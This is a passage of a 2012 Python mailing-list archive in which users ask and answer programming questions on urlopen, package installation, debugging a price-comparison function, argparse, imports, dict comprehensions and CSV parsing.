Wed, 5 Dec 2012 15:13:16 -0800 (PST) Subject: z-buffer mlab Message-ID: <249c37ab-bdd7-4b98-b527-7339b8c96962@googlegroups.com> Hi Guys! I am plotting an object in mlab (isoSurface) and then I am adding 2 image_plane_widgets. Till now everything is ok but when I am changing the opacity of the object to lower than 1 it is suddenly appearing behind the planes? Why so? Is it dependant on the order of adding objects? But i cant add image_plane without having a surface I would be very gratefull for help. From torriem at gmail.com Wed Dec 5 18:20:49 2012 From: torriem at gmail.com (Michael Torrie) Date: Wed, 05 Dec 2012 16:20:49 -0700 Subject: Remote server: running a Python script and making *.csv files publicly available In-Reply-To: <2b98a199-2e7c-4eb0-a02c-6a99668eef54@googlegroups.com> References: <2b98a199-2e7c-4eb0-a02c-6a99668eef54@googlegroups.com> Message-ID: <50BFD6D1.9050002@gmail.com> On 12/05/2012 12:14 PM, Jason Hsu wrote: > I have a Python 2.7 script that produces *.csv files. I'd like to > run this Python script on a remote server and make the *.csv files > publicly available to read. > > Can this be done on Heroku? I've gone through the tutorial, but it > seems to be geared towards people who want to create a whole web > site. > > If Heroku isn't the solution for me, what are the alternatives? I > tried Google App Engine, but it requires Python 2.5 and won't work > with 2.7. Can you just write the files in a directory and then have apache configured to serve this directory up over http? That way Python needn't worry about the details of http serving. Other mini web servers would work too like lighttpd or uhttpd. Alternatively you could use Python-Twisted to implement a simple web server that serves up the CSV. Using a full framework is overkill, in my opinion. I'm not sure what Heroku (first I've heard of it) is, but I don't think you need that. From diolu.remove_this_part at bigfoot.com Wed Dec 5 18:42:00 2012 From: diolu.remove_this_part at bigfoot.com (Olive) Date: Thu, 6 Dec 2012 00:42:00 +0100 Subject: urlopen in python3 References: <20121205234020.76a9d88d@pcolivier.chezmoi.net> Message-ID: <20121206004200.70ceb980@pcolivier.chezmoi.net> Nick Cash wrote: > > In python2, this work if "something" is a regular file on the > > system as well as a remote URL. The 2to3 script convert this to > > urllib.request.urlopen. But it does not work anymore if "something" > > is just a file name. > > > > My aim is to let the user specify a "file" on the command line and > > have something that works, whatever the "file " actually is: a > > regular file, an http url, etc... > > A file path, such as "/etc/passwd", isn't properly a URL, so urllib > correctly refuses to handle it. You can make it a URL by using the > file:// protocol, i.e. "file:///etc/passwd"... which appears to work > in both python2 and python3. > That's true a file path is not an URL, yet the python2 behaviour was handy. I do not know in advance if it is a file or an URL, so what's the best way to hadle the case? I imagine someling like: if os.path.exists(something): something="file://"+os.path.abspath(something) a=urllib.request.urlopen(something) From irmen.NOSPAM at xs4all.nl Wed Dec 5 18:56:55 2012 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Thu, 06 Dec 2012 00:56:55 +0100 Subject: Installing packages on Mac OS X 10.7.5 In-Reply-To: References: Message-ID: <50bfdf46$0$6947$e4fe514c@news.xs4all.nl> On 6-12-2012 0:12, John Dildy wrote: > Hello Everyone! > > I have python v2.7.1 and I am trying to install packages on the Mac OS X v10.7.5 > > I am trying to install: > > Distribute > > Nose > > virtualenv > > If anyone can help me that would be great > > John Dildy > > jdildy85 at gmail.com > Avoid changing stuff on the system installed python. If you don't have virtualenv already, I would suggest to either: - install virtualenv by means of easy_install (which should be installed already) - do everything else in a virtual env, instead of in the system installed python directly Or install homebrew, then brew install python, and use that. This avoids using the system installed python entirely. Irmen From python.ml.bruno.dupuis at lisael.org Wed Dec 5 19:19:58 2012 From: python.ml.bruno.dupuis at lisael.org (Bruno Dupuis) Date: Thu, 6 Dec 2012 01:19:58 +0100 Subject: Confused compare function :) In-Reply-To: References: Message-ID: <20121206001958.GC14400@hud> On Wed, Dec 05, 2012 at 11:50:49PM +0100, Anatoli Hristov wrote: > I'm confused again with a compare update function. The problem is that > my function does not work at all and I don't get it where it comes > from. > > in my DB I have total of 754 products. when I run the function is says: > Total updated: 754 > Total not found with in the distributor: 747 > I just don't get it, can you find my mistake ? > > Thanks in advance > > def Change_price(): > total = 0 > tnf = 0 > for row in DB: # DB is mySQL DB, logically I get out 1 SKU and I > compare it with next loop > isku = row["sku"] > isku = isku.lower() > iprice = row["price"] > iprice = int(iprice) > found = 0 > try: > for x in PRICELIST:# here is my next loop in a CSV file > which is allready in a list PRICELIST > try: > dprice = x[6] > dprice = dprice.replace(",",".") # As in the > PRICELIST the prices are with commas I replace the comma as python > request it > dprice = float(dprice) > newprice = round(dprice)*1.10 > dsku = x[4] > dsku = dsku.lower() > stock = int(x[7]) > if isku == dsku and newprice < int(iprice):# If > found the coresponded SKU and the price is higher than the one in the > CSV I update the price > print dsku, x[6], dprice, newprice > Update_SQL(newprice, isku)# goes to the SQL Update > print isku, newprice > if isku == dsku:# Just a check to see if it works > print "Found %s" %dsku > found = 1 > else: > found = 0 > except IndexError: > pass > except ValueError: > pass > except TypeError: > pass > except IndexError: > pass > if found == 1: > print "%s This is match" % isku > if found == 0: > print "%s Not found" % isku > tnf = tnf +1 > total = total +1 > print "Total updated: %s" % total > print"Total not found with in the distributor: %s" % tnf I tried, I swear I did try, I didn't understand the whole algorithm of the function. However, in a first sight, I find it way to deeply nested. def ... for ... try ... for ... if ... if. Can't you split it in several function, or in methods of a callable class? Somtimes it's finally much more clear and the errors become obvious. Another advice: never ever except XXXError: pass at least log, or count, or warn, or anything, but don't pass. I bet your missing products have disapeared into those black holes. mmmh, now, i see that you set found to 1 only if newprice Message-ID: <50bfe774$0$29994$c3e8da3$5496439d@news.astraweb.com> On Wed, 05 Dec 2012 23:50:49 +0100, Anatoli Hristov wrote: > def Change_price(): Misleading function name. What price does it change? > total = 0 > tnf = 0 "tnf"? Does that mean something? > for row in DB: # DB is mySQL DB, logically I get out > # 1 SKU and I compare it with next loop Use of global variables, yuck. What happens if some day you need two databases at the same time? > isku = row["sku"] > isku = isku.lower() Hungarian Notation? This is better written as: sku = row["sku"].lower() > iprice = row["price"] > iprice = int(iprice) And likewise price = int(row["price"]). Or better still, "oldprice", or "price_in_database", or something that actually describes what it is. > found = 0 found = False > try: > for x in PRICELIST: # here is my next loop in a CSV file > # which is allready in a list PRICELIST > try: > dprice = x[6] "dprice"? D-for-database price? But this is the price from the CSV file, not from the database. Another misleading name, leading to confusion. > dprice = dprice.replace(",",".") > # As in the PRICELIST the prices are with > # commas I replace the comma as python request it > dprice = float(dprice) > newprice = round(dprice)*1.10 > dsku = x[4] > dsku = dsku.lower() And again, what's "dsku" mean? Database-SKU? But it's the CSV SKU. > stock = int(x[7]) I don't believe that this is used at all. Get rid of it. > if isku == dsku and newprice < int(iprice): > # If found the coresponded SKU and the price is > # higher than the one in the CSV I update the price I think your logic is wrong here. You aren't comparing the price in the CSV here at all. You compare two prices, neither of which is the price in the CSV file: newprice = round(price in CSV) * 1.10 iprice = price from the database (which is already an int, no need to call int *again* -- if you're going to use Hungarian Notation, pay attention to it!) So you have THREE prices, not two, and it isn't clear which ones you are *supposed* to compare. Either the code is wrong, or the comment is wrong, or possibly both. iprice = price from the database dprice = price from the CSV newprice = calculated new price I'm going to GUESS that you actually want to compare the new price with the price in the database. if newprice > iprice: # horrible name! no wonder you are confused # Update the database with the new price > print dsku, x[6], dprice, newprice > Update_SQL(newprice, isku) > # goes to the SQL Update Really? Gosh, without the comment, how would anyone know that Update_SQL updates the SQL? :-P Seriously, the comment is redundant. Get rid of it. > print isku, newprice > if isku == dsku: > # Just a check to see if it works > print "Found %s" %dsku > found = 1 > else: > found = 0 found = True or False is better. But this code cannot do anything but print Found, since above you already tested that isku == dsku. So this check is pointless. The reason is, your code does this: if isku == dsku and (something else): # Inside this block, isku MUST equal dsku blah blah blah if isku == dsku: print "Found" found = 1 else: # But this cannot possibly happen print "not found" found = 0 > except IndexError: > pass > except ValueError: > pass > except TypeError: > pass Why are you hiding errors? You should not hide errors unnecessarily, that means there are bugs in either the CSV or your code, you should fix the bugs. However, if you really must, then you can replace all of those with: except (IndexError, ValueError, TypeError): pass > except IndexError: > pass And hiding more errors? > if found == 1: > print "%s This is match" % isku > if found == 0: > print "%s Not found" % isku > tnf = tnf +1 > total = total +1 Better to write this as: if found: print "%s This is match" % isku else: print "%s Not found" % isku tnf = tnf + 1 # What does this mean? total += 1 > print "Total updated: %s" % total That's wrong. total is *not* the number updated. It is the total, updated or not updated. This should say: print "Total records inspected: %s" % total > print"Total not found with in the distributor: %s" % tnf Ah-ha! It means "Total Not Found"! I shouldn't have to read all the way to the end of the code to discover this. Instead of "tnf", you should count the total number of SKUs, and count how many times you call Update_SQL. Then you can report: Total records inspected: 754 Total records updated: 392 (or whatever the values are). Simplify and clean up your code, and then it will be easier to find and fix the problems in it. Good luck! -- Steven From steve+comp.lang.python at pearwood.info Wed Dec 5 19:42:00 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 06 Dec 2012 00:42:00 GMT Subject: Confused compare function :) References: Message-ID: <50bfe9d8$0$29994$c3e8da3$5496439d@news.astraweb.com> On Thu, 06 Dec 2012 01:19:58 +0100, Bruno Dupuis wrote: > I tried, I swear I did try, I didn't understand the whole algorithm of > the function. However, in a first sight, I find it way to deeply nested. Yes! But basically, the code seems to run a pair of nested for-loops: for SKU in database: for SKU in csv file: if the two SKUs match: compare their prices and update the database > def ... for ... try ... for ... if ... if. You missed a second try. > Can't you split it in several > function, or in methods of a callable class? Somtimes it's finally much > more clear and the errors become obvious. Another advice: never ever > > except XXXError: > pass > > at least log, or count, or warn, or anything, but don't pass. I bet your > missing products have disapeared into those black holes. I think that "never" is too strong, but otherwise I agree with you. > mmmh, now, i see that you set found to 1 only if newprice > that you compare with an int? is that correct? seems strangee to me. There's nothing wrong with comparing floats to ints. However, possibly iprice is not intended to be an int. The code is rather confused and the names are at best obscure and at worst actively misleading. I assumed that prices must be ints, (iprice means "integer price"?) but that might not be the case, since later on another price is multiplied by 1.10. Also I wonder if the code is meant to calculate the new price: newprice = round(dprice)*1.10 # dprice is the price in the CSV file! or perhaps it is meant to be: newprice = int(round(dprice*1.10)) That seems likely. -- Steven From hansmu at xs4all.nl Wed Dec 5 19:52:15 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Thu, 06 Dec 2012 01:52:15 +0100 Subject: mini browser with python In-Reply-To: References: Message-ID: <50bfec3f$0$6944$e4fe514c@news2.news.xs4all.nl> On 5/12/12 22:44:21, inq1ltd wrote: > I can connect to and download a web page, > html code, and save it to a file. If connected > to the web, I can change the settings on KWrite > to open the file and navigate the page, > (just like a browser does). > I want to view the html file without using a browser > or KWrite as I do now. > Customer wants a direct connect to a dedicated > website. Their clients can be using any > browser. This gives them a a direct connect to > a dedicated website for a specific purpose. > In other words I need a mini, simple browser; > something I can build that will open, read and > display a saved html or the connected url site. How about: import os.path, webbrowser webbrowser.open("file://" + os.path.abspath(your_file)) > I would appreciate some direction. You'd get more useful answers if you'd give some more context. For example: * Which platform? * Which version of Python? * Which GUI (if any)? * What capabilities do you need? CSS? Javascript? * Are there any unusual requirement? Hope this helps, -- HansM From hansmu at xs4all.nl Wed Dec 5 20:07:23 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Thu, 06 Dec 2012 02:07:23 +0100 Subject: Installing packages on Mac OS X 10.7.5 In-Reply-To: <50bfdf46$0$6947$e4fe514c@news.xs4all.nl> References: <50bfdf46$0$6947$e4fe514c@news.xs4all.nl> Message-ID: <50bfefcc$0$6924$e4fe514c@news2.news.xs4all.nl> On 6/12/12 00:56:55, Irmen de Jong wrote: > On 6-12-2012 0:12, John Dildy wrote: >> I have python v2.7.1 and I am trying to install packages on the Mac OS X v10.7.5 >> I am trying to install: >> Distribute >> Nose >> virtualenv >> If anyone can help me that would be great > > Avoid changing stuff on the system installed python. +1 > If you don't have virtualenv already, I would suggest to either: > > - install virtualenv by means of easy_install (which should be installed already) > - do everything else in a virtual env, instead of in the system installed python directly > > Or install homebrew, then brew install python, and use that. This avoids using the > system installed python entirely. Or simply download Python 2.7.3 from python.org and install that. The Mac OSX installers from python.org leave the system Python alone and install a separate copy of Python under /Local/. Or you could use MacPorts, which will install into /opt/local/. Or you could get really fancy, and install a Python from python.org or homebrew or MacPorts, and then user virtualenv to avoid messing up that Python. The one thing you want to avoid is messing with the system Python. Hope this helps, -- HansM From modulok at gmail.com Wed Dec 5 21:30:48 2012 From: modulok at gmail.com (Modulok) Date: Wed, 5 Dec 2012 19:30:48 -0700 Subject: Secretly passing parameter to function In-Reply-To: <50bf9764$0$3120$ba620e4c@news.skynet.be> References: <50bf9764$0$3120$ba620e4c@news.skynet.be> Message-ID: > Hi all ! > > I have a problem that is not easy to explained, so I have tried to > reduce it a lot. > > We are using a framework, that we can not modify. > > in framework.py: > def do(something): > ''' > Here we are in a framework that can not be modified ... > It does a lot of things > > and finally: > ''' > something() > > in test.py: > from framework import * > > def step1(): > print "Do step1" > > def step2(): > print "Do step2" > > > # We ask the framework to do some work. > do(step1) > do(step2) > do(step3) > > > We are writing step1, step2, ... and asking the framework to process them. > Everything is ok, until we want to add a parameter to some steps. > We want to be able to do that: > > in test.py: > from framework import * > > def step1(param): > print "Do step1 with param" > > def step2(): > print "Do step2" > > > # We ask the framework to do some work. > > do(step1, param = None) > do(step1, param = [0, 1, 5]) # again > do(step2) > > Of course it does not work ... > TypeError: do() takes exactly 1 argument (2 given) > > And we can not modify the framework (in which "do" is defined. > > One solution would be to use a global variable that can be set before > each step. But it is not very elegant ... > > One other approach would be to add dynamically an attribute the the > step1 function, and retrieve it inside the function, but it is perhaps > overkill. > > Do you have some ideas ? Olivier, I would create a partial object using the functools module, but I would also wrap it in a decorator so I could call my functions as usual. Here's an example: # File: framework.py: def do(something): print("Framework in action...") return something() # File: test.py: import functools import framework def pack(func): """Return a function object to be called later.""" def f(*args, **kwargs): """Call the framework passing a partial object to be called.""" print("Wrapper in action...") part = functools.partial(func, *args, **kwargs) return framework.do(part) #<-- Call the simplified function. return f #<-- Return the function object to-be-called. # Usage: Just wrap your defs with the decorator '@pack': @pack def step1(x, y): print(x, y) @pack def step2(a): return sum(a) @pack def step3(): print("Amazing!") # Call your functions as usual e.g: step1(3, 5)... In theory everything should just work. I tested the above example and it seemed to work just fine with my limited testing. Good luck! -Modulok- From jcasale at activenetwerx.com Wed Dec 5 22:03:13 2012 From: jcasale at activenetwerx.com (Joseph L. Casale) Date: Thu, 6 Dec 2012 03:03:13 +0000 Subject: Dict comprehension help Message-ID: I get a list of dicts as output from a source I need to then extract various dicts out of. I can easily extract the dict of choice based on it containing a key with a certain value using list comp but I was hoping to use dict comp so the output was not contained within a list. reduce(lambda x,y: dict(x.items() + y.items()), filter(lambda z: z['key'] == value, my_list)) where my_list is a list of dicts. The premise is all dicts in the list have a unique value for z['key']. Anyone have a pointer as to how I might tackle this without lambdas and only using dict comp? Thanks! jlc From wuwei23 at gmail.com Wed Dec 5 22:14:53 2012 From: wuwei23 at gmail.com (alex23) Date: Wed, 5 Dec 2012 19:14:53 -0800 (PST) Subject: Need porting of German Wotan AI into Python References: Message-ID: <983b7aa1-a18a-4e9b-b6bc-c6784d44933e@y5g2000pbi.googlegroups.com> On 6 Dec, 04:38, Mentifex wrote: > There are no funds available for payment but > mega kudos will accrue I'm sure that'll keep my kids well fed. Not commenting on this link, just including it here for the interested: http://www.nothingisreal.com/mentifex_faq.html From sg552 at hotmail.co.uk Wed Dec 5 22:22:53 2012 From: sg552 at hotmail.co.uk (Rotwang) Date: Thu, 06 Dec 2012 03:22:53 +0000 Subject: Confused compare function :) In-Reply-To: References: Message-ID: On 06/12/2012 00:19, Bruno Dupuis wrote: > [...] > > Another advice: never ever > > except XXXError: > pass > > at least log, or count, or warn, or anything, but don't pass. Really? I've used that kind of thing several times in my code. For example, there's a point where I have a list of strings and I want to create a list of those ints that are represented in string form in my list, so I do this: listofints = [] for k in listofstrings: try: listofints.append(int(k)) except ValueError: pass Another example: I have a dialog box with an entry field where the user can specify a colour by entering a string, and a preview box showing the colour. I want the preview to automatically update when the user has finished entering a valid colour string, so whenever the entry field is modified I call this: def preview(*args): try: previewbox.config(bg = str(entryfield.get())) except tk.TclError: pass Is there a problem with either of the above? If so, what should I do instead? -- I have made a thing that superficially resembles music: http://soundcloud.com/eroneity/we-berated-our-own-crapiness From ian.g.kelly at gmail.com Wed Dec 5 22:38:22 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Wed, 5 Dec 2012 20:38:22 -0700 Subject: Dict comprehension help In-Reply-To: References: Message-ID: On Wed, Dec 5, 2012 at 8:03 PM, Joseph L. Casale wrote: > I get a list of dicts as output from a source I need to then extract various dicts > out of. I can easily extract the dict of choice based on it containing a key with > a certain value using list comp but I was hoping to use dict comp so the output > was not contained within a list. > > reduce(lambda x,y: dict(x.items() + y.items()), filter(lambda z: z['key'] == value, my_list)) > > where my_list is a list of dicts. The premise is all dicts in the list have a unique > value for z['key']. > > Anyone have a pointer as to how I might tackle this without lambdas and only > using dict comp? {k: v for d in my_list if d['key'] == value for (k, v) in d.items()} However, since you say that all dicts have a unique value for z['key'], you should never need to actually merge two dicts, correct? In that case, why not just use a plain for loop to search for the dict? for d in my_list: if d['key'] == value: result = d break else: raise ValueError("Value not found!") From steve+comp.lang.python at pearwood.info Wed Dec 5 23:32:34 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 06 Dec 2012 04:32:34 GMT Subject: Confused compare function :) References: Message-ID: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> On Thu, 06 Dec 2012 03:22:53 +0000, Rotwang wrote: > On 06/12/2012 00:19, Bruno Dupuis wrote: >> [...] >> >> Another advice: never ever >> >> except XXXError: >> pass >> >> at least log, or count, or warn, or anything, but don't pass. > > Really? I've used that kind of thing several times in my code. For > example, there's a point where I have a list of strings and I want to > create a list of those ints that are represented in string form in my > list, so I do this: > > listofints = [] > for k in listofstrings: > try: > listofints.append(int(k)) > except ValueError: > pass > > Another example: I have a dialog box with an entry field where the user > can specify a colour by entering a string, and a preview box showing the > colour. I want the preview to automatically update when the user has > finished entering a valid colour string, so whenever the entry field is > modified I call this: > > def preview(*args): > try: > previewbox.config(bg = str(entryfield.get())) > except tk.TclError: > pass > > Is there a problem with either of the above? If so, what should I do > instead? They're fine. Never, ever say that people should never, ever do something. *cough* -- Steven From jcasale at activenetwerx.com Wed Dec 5 23:38:08 2012 From: jcasale at activenetwerx.com (Joseph L. Casale) Date: Thu, 6 Dec 2012 04:38:08 +0000 Subject: Dict comprehension help In-Reply-To: References: <92097A6A775D5147B1078E3F15430B92349092E6@prato.activenetwerx.local>, Message-ID: > {k: v for d in my_list if d['key'] == value for (k, v) in d.items()} Ugh, had part of that backwards:) Nice! > However, since you say that all dicts have a unique value for > z['key'], you should never need to actually merge two dicts, correct? > In that case, why not just use a plain for loop to search for the > dict? The reason is that I need several of these in an init function and they stack up nicely where as the loops get unruly in length, but I don't disagree. From matt at woodridgeadvisors.com Wed Dec 5 23:58:46 2012 From: matt at woodridgeadvisors.com (Matt) Date: Wed, 5 Dec 2012 20:58:46 -0800 (PST) Subject: question about importing a package Message-ID: <4e72a337-07a2-4759-9960-3e8dab7f1e5c@googlegroups.com> I have a directory structure that looks like this: sample.py sub_one/ __init__.py # defines only the list __all__ = ['foo', 'bar'] foo.py # defines the function in_foo() bar.py # defines the function in_bar() In sample.py, I have this command at the top: from sub_one import * I can't refer to in_foo() and in_bar() without prefacing them with the module names. I.e. foo.in_foo() and bar.in_bar() work, but I want to import them in the __main__ namespace of sample.py and refer to them as just in_foo() and in_bar(). I know this is frowned upon, but for my purposes it is the best choice. I have about 30 modules in my package (foos and bars) and I don't want 30 lines at the top of each file that uses this package. What am I doing wrong? Thanks, Matt From tjreedy at udel.edu Thu Dec 6 00:06:29 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 06 Dec 2012 00:06:29 -0500 Subject: How does one make argparse print usage when no options are provided on the command line? In-Reply-To: <20121205164851.93f151641a1d085e5262f59d@lavabit.com> References: <20121205084830.74e842119d151781db385406@lavabit.com> <20121205174237.GH10865@hud> <20121205164851.93f151641a1d085e5262f59d@lavabit.com> Message-ID: On 12/5/2012 7:48 PM, rh wrote: > On Wed, 5 Dec 2012 18:42:37 +0100 > Bruno Dupuis wrote: > >> On Wed, Dec 05, 2012 at 08:48:30AM -0800, rh wrote: >>> I have argparse working with one exception. I wanted the program to >>> print out usage when no command line options are given. But I only >>> came across other examples where people didn't use argparse but >>> instead printed out a separate usage statement. So they used >>> argparse for everything but the case where no command line args are >>> given. >>> >> >> this is quite raw, but i'd add >> >> import sys >> if len(sys.argv) == 1: >> sys.argv.append('-h') > > This works too. I guess I like the print_usage() method better. > > Being new to python I have noticed that I had copied a bit of code that did > > if len(sys.argv[1:]) == 0: This needlessly creates and tosses a new object. > > You did this: > if len(sys.argv) == 1: This does not. > The other reply did this: > if len(sys.argv) <= 1: This allows for the possibility that len(sys.argv) == 0. However, that can (according to the doc) only happen when starting the interpreter interactively without a script. Since that does not apply to code within a .py file, I prefer == 1. "argv[0] is the script name (it is operating system dependent whether this is a full pathname or not). If the command was executed using the -c command line option to the interpreter, argv[0] is set to the string '-c'. If no script name was passed to the Python interpreter, argv[0] is the empty string." -- Terry Jan Reedy From rosuav at gmail.com Thu Dec 6 00:18:01 2012 From: rosuav at gmail.com (Chris Angelico) Date: Thu, 6 Dec 2012 16:18:01 +1100 Subject: question about importing a package In-Reply-To: <4e72a337-07a2-4759-9960-3e8dab7f1e5c@googlegroups.com> References: <4e72a337-07a2-4759-9960-3e8dab7f1e5c@googlegroups.com> Message-ID: On Thu, Dec 6, 2012 at 3:58 PM, Matt wrote: > I have about 30 modules in my package (foos and bars) and I don't want 30 lines at the top of each file that uses this package. What am I doing wrong? Not necessarily wrong, but definitely something to query: WHY do you have thirty modules in your package? How big are your source files - could you simply merge them into a single module? ChrisA From timr at probo.com Thu Dec 6 00:20:07 2012 From: timr at probo.com (Tim Roberts) Date: Wed, 05 Dec 2012 21:20:07 -0800 Subject: why does dead code costs time? References: <20121205164051.GF10865@hud> Message-ID: <6ca0c8drtde9ick99lt0sh330mvj42qgh8@4ax.com> Bruno Dupuis wrote: >On Wed, Dec 05, 2012 at 05:40:51PM +0100, Bruno Dupuis wrote: > >> Good point! I didn't even noticed that. It's weird... Maybe the >> difference comes from a peehole optim on f which is not possible on g as >> g is to complex. > >Neil, you were right, thanks. I patched peehole.c to remove this optim, and >now the figures are the same. I investigate to find out why the latter >function is not optimized the same way (and if it can be, I'll propose a >patch for that) At the risk of being labeled a prude, please be careful about spelling (and pronouncing) the whole word "peephole". The word as you have spelled it here (twice) is a vulgarity. Now, I'm all in favor of the occasional vulgarity, but if this is a misunderstanding, you could find yourself as the butt of some awkward jokes at some future optimization conference... -- Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From wuwei23 at gmail.com Thu Dec 6 01:30:46 2012 From: wuwei23 at gmail.com (alex23) Date: Wed, 5 Dec 2012 22:30:46 -0800 (PST) Subject: question about importing a package References: <4e72a337-07a2-4759-9960-3e8dab7f1e5c@googlegroups.com> Message-ID: <5312ac0b-14cd-46c2-84c9-80d0b3bea8cc@y5g2000pbi.googlegroups.com> On 6 Dec, 14:58, Matt wrote: > I have a directory structure that looks like this: > > sample.py > sub_one/ > ? ? ? __init__.py ? ? # defines only the list ? ?__all__ = ['foo', 'bar'] > ? ? ? foo.py ? ? ? ? ? # defines the function in_foo() > ? ? ? bar.py ? ? ? ? ? # defines the function in_bar() > > In sample.py, I have this command at the top: > > from sub_one import * > > What am I doing wrong? The statement `from sub_one import *` imports from sub_one/ __init__.py, which only imports the two modules into its namespace, not their contents. What you need to do is bring into __init__.py everything you want the star-import to pull into your code: __init__.py: from foo import * from bar import * foo.py: __all__ = [ 'in_foo' ] def in_foo(): ... bar.py: __all__ = [ 'in_bar' ] def in_bar(): ... If you structure is like this, you can restrict which items can be imported within the defining file. If it doesn't make sense to do it there, remove __all__ and just import directly in the __init__. From steve+comp.lang.python at pearwood.info Thu Dec 6 01:54:54 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 06 Dec 2012 06:54:54 GMT Subject: question about importing a package References: <4e72a337-07a2-4759-9960-3e8dab7f1e5c@googlegroups.com> Message-ID: <50c0413e$0$21853$c3e8da3$76491128@news.astraweb.com> On Wed, 05 Dec 2012 20:58:46 -0800, Matt wrote: > I have a directory structure that looks like this: > > sample.py > sub_one/ > __init__.py # defines only the list __all__ = ['foo', 'bar'] > foo.py # defines the function in_foo() > bar.py # defines the function in_bar() > > In sample.py, I have this command at the top: > > from sub_one import * > > I can't refer to in_foo() and in_bar() without prefacing them with the > module names. I.e. foo.in_foo() and bar.in_bar() work, but I want to > import them in the __main__ namespace of sample.py and refer to them as > just in_foo() and in_bar(). Module `sub_one` has two public names, "foo" and "bar", exactly as you say. So when you import * from it, you only get two names. Now, you could do any of these inside sample.py: # 1 from sub_one.foo import in_foo from sub_one.bar import in_bar # 2 from sub_one import * in_foo = foo.in_foo in_bar = bar.in_foo Or you could turn to sub_one.__init__ and do this: # 3 __all__ = ['in_foo', 'in_bar'] from foo import in_foo from bar import in_bar or any combination of the above. -- Steven From rolf.oltmans at gmail.com Thu Dec 6 02:21:39 2012 From: rolf.oltmans at gmail.com (Oltmans) Date: Wed, 5 Dec 2012 23:21:39 -0800 (PST) Subject: Some help in refining this regex for CSV files Message-ID: <374d15bd-b20c-431b-b9bb-37ec0b1f4df3@googlegroups.com> Hi guys, I've to deal with CSVs that look like following CSV (with one header and 3 legit rows where each legit row has 3 columns) ---- Some info Date: 12/6/2012 Author: Some guy Total records: 100 header1, header2, header3 one, two, three one, "Python is great, so are other languages, isn't ?", three one, two, 'some languages, are realyl beautiful\r\n, I really cannot deny \n this \t\t\t fact. \t\t\t\tthis fact alone is amazing' ---- So inside this CSV, there will always be bad lines like the top 4 (they could end up in the beginning, in the middle and even in the last). So above sample, csv has 3 legit lines and a header. I want to read those three lines and here is a regex that I came up with (which clearly isn't working) #print line pattern = r"([^\t]+\t|,+)" matches = re.match(pattern, line) Do you've any better ideas guys? I will really appreciate all help. From breamoreboy at yahoo.co.uk Thu Dec 6 02:57:58 2012 From: breamoreboy at yahoo.co.uk (Mark Lawrence) Date: Thu, 06 Dec 2012 07:57:58 +0000 Subject: Some help in refining this regex for CSV files In-Reply-To: <374d15bd-b20c-431b-b9bb-37ec0b1f4df3@googlegroups.com> References: <374d15bd-b20c-431b-b9bb-37ec0b1f4df3@googlegroups.com> Message-ID: On 06/12/2012 07:21, Oltmans wrote: > Hi guys, > > I've to deal with CSVs that look like following > > CSV (with one header and 3 legit rows where each legit row has 3 columns) > ---- > Some info > Date: 12/6/2012 > Author: Some guy > Total records: 100 > > header1, header2, header3 > one, two, three > one, "Python is great, so are other languages, isn't ?", three > one, two, 'some languages, are realyl beautiful\r\n, I really cannot deny \n this \t\t\t fact. \t\t\t\tthis fact alone is amazing' > ---- > > So inside this CSV, there will always be bad lines like the top 4 (they could end up in the beginning, in the middle and even in the last). So above sample, csv has 3 legit lines and a header. I want to read those three lines and here is a regex that I came up with (which clearly isn't working) > > #print line > pattern = r"([^\t]+\t|,+)" > matches = re.match(pattern, line) > > Do you've any better ideas guys? I will really appreciate all help. > I'd simply use the csv module from the standard library to read your files, discarding anything that you regard as bad. I'd certainly not use a regex for this. -- Cheers. Mark Lawrence. From python.ml.bruno.dupuis at lisael.org Thu Dec 6 03:49:26 2012 From: python.ml.bruno.dupuis at lisael.org (Bruno Dupuis) Date: Thu, 6 Dec 2012 09:49:26 +0100 Subject: Confused compare function :) In-Reply-To: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> Message-ID: <20121206084926.GD14400@hud> On Thu, Dec 06, 2012 at 04:32:34AM +0000, Steven D'Aprano wrote: > On Thu, 06 Dec 2012 03:22:53 +0000, Rotwang wrote: > > > On 06/12/2012 00:19, Bruno Dupuis wrote: > >> [...] > >> > >> Another advice: never ever > >> > >> except XXXError: > >> pass > >> > >> at least log, or count, or warn, or anything, but don't pass. > > > > Really? I've used that kind of thing several times in my code. For > > example, there's a point where I have a list of strings and I want to > > create a list of those ints that are represented in string form in my > > list, so I do this: > > > > listofints = [] > > for k in listofstrings: > > try: > > listofints.append(int(k)) > > except ValueError: > > pass > > > > Another example: I have a dialog box with an entry field where the user > > can specify a colour by entering a string, and a preview box showing the > > colour. I want the preview to automatically update when the user has > > finished entering a valid colour string, so whenever the entry field is > > modified I call this: > > > > def preview(*args): > > try: > > previewbox.config(bg = str(entryfield.get())) > > except tk.TclError: > > pass > > > > Is there a problem with either of the above? If so, what should I do > > instead? > > They're fine. > > Never, ever say that people should never, ever do something. > > > *cough* > Well, dependening on the context (who provides listofstrings?) I would log or count errors on the first one... or not. On the second one, I would split the expression, because (not sure of that point, i didn't import tk for years) previewbox.config and entryfield.get may raise a tk.TclError for different reasons. The point is Exceptions are made for error handling, not for normal workflow. I hate when i read that for example: try: do_stuff(mydict[k]) except KeyError: pass (loads of them in many libraries and frameworks) instead of: if k in mydict: do_stuff(mydict[k]) Note that the performances are better with the latter. There are some exceptions to this, though, like StopIteration For me, it's a rule of thumb, except: pass is possible in situations where I control every input data, and I deeply, exactly know all code interractions. If figuring all this out is longer (it's almost always the case) than typing: log.warning('oops:\n %s' % traceback.format_exc()) I log. It depends also on the context, I'd be more 'permissive' a short script than into a large program, framework, or lib, for the very reason it's easy to know all code interactions. In my coder life, i spent more time debugging silently swallowed exceptions than logging abnormal behaviours. -- Bruno Dupuis From rosuav at gmail.com Thu Dec 6 04:34:28 2012 From: rosuav at gmail.com (Chris Angelico) Date: Thu, 6 Dec 2012 20:34:28 +1100 Subject: Confused compare function :) In-Reply-To: <20121206084926.GD14400@hud> References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> 